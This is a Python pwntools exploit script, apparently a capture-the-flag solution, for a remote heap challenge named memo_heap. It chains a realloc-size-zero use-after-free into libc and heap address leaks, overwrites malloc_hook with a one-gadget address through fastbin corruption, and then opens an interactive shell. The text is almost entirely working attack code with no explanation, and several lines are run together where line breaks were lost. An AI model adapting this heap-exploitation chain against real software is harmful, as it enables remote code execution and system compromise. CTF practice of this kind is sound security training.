realloc size 0 -> uaf -> heap ptr modify
from pwn import *
#p=process(['./memo_heap'],env={'LD_PRELOAD':'./memoheap_libc.so.6'})p=remote('memoheap.acebear.site',3003)
def create(size,name):	p.sendlineafter('choice: ','1')	p.sendlineafter('? ',str(size))	p.sendlineafter(': ',name)
def edit(idx,name):	p.sendlineafter('choice: ','2')	p.sendlineafter(': ',str(idx))	p.sendlineafter(': ',name)
def show(idx):	p.sendlineafter('choice: ','3')	p.sendlineafter(': ',str(idx))
def delete(idx):	p.sendlineafter('choice: ','4')	p.sendlineafter(': ',str(idx))
p.recvuntil('Menu')create(0x100,'AAAA')create(0x100,'BBBB')delete(0)create(8,'A'*8)show(0)sleep(1)p.recvuntil('A'*8)main_arena = u64(p.recv(6)+'\x00\x00')libc_base = main_arena - 0x3c4c78malloc_hook = libc_base + 0x3c4b10one_shot = libc_base + 0xf1117print hex(main_arena)print hex(libc_base)print hex(malloc_hook)sleep(1)create(8,'C'*8)delete(2)delete(0)create(1,'Z') #0show(0)p.recvuntil('Name: Z')heap = u64('\x00'+p.recv(5)+'\x00\x00')print hex(heap)delete(0)sleep(1)delete(1)create(0x5f,'A'*8) #0
create(0,'') #1edit(1,'')create(8,'C'*8) #2delete(1)
create(16,p64(heap+0x10)+p32(0x5f)+p32(0x1)) #0 == 2create(0x5f,'D'*8) #3delete(2) #0 3 0 == 2 3 0delete(3)delete(0)print '=='create(0x5f,p64(malloc_hook-0x23))create(0x5f,'D'*8)create(0x5f,'A'*8)create(0x5f,'E'*0x13+p64(one_shot))
p.sendlineafter(': ','1')
p.interactive()